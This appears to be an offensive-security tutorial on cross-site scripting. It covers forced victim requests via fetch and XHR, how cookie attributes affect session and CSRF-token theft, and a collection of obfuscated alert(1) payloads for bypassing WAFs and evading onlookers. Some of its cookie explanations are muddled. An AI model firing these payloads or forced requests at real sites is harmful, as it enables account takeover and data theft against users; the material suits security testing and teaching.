Description

Cross-Site Scripting (aka XSS), the art of exploiting an injection vulnerability in order to:

  • Steal sensitive information (API keys or active user sessions)
  • Perform unauthorized request on behalf of a victim user (Change their password for them in the background for an ATO or privilege escalation)
  • Keylogging (Recording the victims keystrokes)
  • Phishing attacks (Make a chrome iframe or JavaScript looking like steams legitimate login page, also called window within a browser attack)

Different Request Types when Performing Cross-Site Scripting

XMLHttpRequests (aka XHR Requests)

For new people, this is a difficult method to use. In the following sample, it forces a victim to send a GET request towards /delete-me

<script>
var xhr = new XMLHttpRequest();
xhr.open('GET', 'https://example.com/delete-me', true);
xhr.send();
</script>

Fetch API Requests (aka Fetch Requests)

For new people, this is an easy method to use. In the following sample, it forces a victim to send a GET request towards /delete-me

<script>
fetch('https://example.com/delete-me');
</script>

Differences between the two request methods

Both methods have positive and negative functionalities they can or cannot do. However, this is mostly a concern regarding the more complex attacks towards a victim user. What will be shown here, will be enough to perform simpler attacks towards a victim without worrying about the two language differences but will add more descriptive differences between the two languages in the future. Use the one you are more comfortable with.

Attack Surface Creation via Cookie observation

  • While this may block an attacker from a Session Hijacking by sending the cookie to your collaborator, you may potentially see the session cookie reflected elsewhere in the body of a response and therefore extract the session from there, subsequently bypassing the HttpOnly attribute.
  • You can still send authenticated requests on behalf of a victim. An example would be towards the user settings where it may allow a victim to change their email. Using this finction might send a POST request with an anti CSRF-token. You can therefore extract the CSRF-token in the body and later send the "change email" as a POST request with the stolen CSRF-token. Allowing a malicious actor to password reset the account.
  • Forces the cookie to only be sent via HTTPS and not HTTP. An adversary may otherwise sniff the localnetwork for non-secure connections and see if these credentials are transmitted through the connection. This also means that your collaborator (for stealing cookies), might need to be a HTTPS if this flag is set.

The same site cookie is literally meant to protect against Cross-Site Attacks, like XSS or CSRF etc.

SameSite not defined

Google Chrome will default this cookie to Lax according to PortSwigger and many other web browser will likely follow. FireFox have for example implemented TotalCookieProtection by default to help users stay more private and more secure. The laws of Lax attribute is (most likely depending on browser) therefore applied here!

Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; HttpOnly; Secure

SameSite set to None

This will simply disable SameSite all together for the cookie, allowing for example a Session Hijacking by sending the cookie's value to your collaborator.

Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; SameSite=None; HttpOnly; Secure

SameSite set to Lax

An XSS may exist on https://app.example.com but you need to fetch for a CSRF token in https://internal.example.com/my-page to be used in another exploitative attack, like changing a victims email with a CSRF token included in the request. This would work if the Lax attribute is set on the session cookie, however, you can not send this cookie to your collaborator or send a POST request using this cookie. What you can do, is make requests on behalf of the user, like sending an authenticated GET request towards /change-email with a stolen CSRF token. Another attack that could be attempted is to see if the session cookie value is reflected anywhere in the HTTP response body in order to steal it there and send it to the collaborator, thus bypassing Lax attribute not sending the cookie value to your collaborator.

Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; SameSite=Lax; HttpOnly; Secure

SameSite set to Strict

This restricts the cookie to be sent via any cross-site attacks.

Set-Cookie: PHPSESSID=h5onbf7pctbr0t68adugdp2611; path=/; SameSite=Strict; HttpOnly; Secure

Samples of Alert Payloads with Obfuscations

The following samples represent <script>alert(1)</script>

This section will give you a bunch of different alerts that may bypass WAFs. If they pop, you have a successful XSS! alert() is not the only function that may be called. A less common one is prompt() works as well if alert() is blacklisted.

Tag Obfuscation

When < followed by a letter is blocked, try:

<\img src=x...
</img src=x...
<%00img src=x...
<%08img src=x...
<%09img src=x...
<%0Dimg src=x...
<%0Aimg src=x...
<%0D%0Aimg src=x...

Tag Splitting

The payload is split into two parts, with the opening <script> tag being split from the rest of the payload. If the application strips the <script> tag only once, another will take it's place and pop the XSS.

<scr<script>ipt>alert(1)<scr<script>ipt>

Concatenation

Concatenating small parts of the payload to bypass a WAF and be executed in the browser.

var a = "<scr"; var b = "ipt>"; var c = "alert(1)"; var d = "</scr" + "ipt>";
document.write(a + b + c + d);

URL Encoding

Sometimes confuses the applications or WAFs. Can be wise to double encode certain characters too. An example would be <. Encoded once will become %3c but to URL encode it twice, the percentage must be encoded once again, becoming %253c. Good for when the target application only decodes it once and not multiple times. Thus encoding the precentage and becoming an URL encoded < in the backend and served to the victim user. The payload sample below is URL encoding once.

%3c%73%63%72%69%70%74%3e%61%6c%65%72%74%28%31%29%3c%2f%73%63%72%69%70%74%3e

HTML Entities

In this example, each character in the payload is represented by its corresponding HTML entity code and depending on the applications interpretation, this may execute.

<script>&#97;&#108;&#101;&#114;&#116;&#40;&#49;&#41;</script>

Charcode Encoding

In this example, the payload is encoded using the String.fromCharCode() method, which takes Unicode values and converts them to their corresponding characters.

<script>eval(String.fromCharCode(60,115,99,114,105,112,116,62,97,108,101,114,116,40,49,41,60,47,115,99,114,105,112,116,62))</script>

Comment Confusion

<script>/*@cc_on@*//*@if(@_jscript_version>=5){@end@*/alert(1);/*@end@*/</script>

Unicode Encoding

The payload is represented using Unicode escape sequences.

<script>eval('\u0061\u006c\u0065\u0072\u0074\u0028\u0031\u0029')</script>

Importing JavaScript Files

Google has an alert that may be called upon if you do not have your own.

https://maps.googleapis.com/maps/api/js?callback=alert()-print

Other

A mixed combination of all of the above techniques are a good way to evade both WAF and in some instances suspicious onlookers trying to identify any malicioud payloads!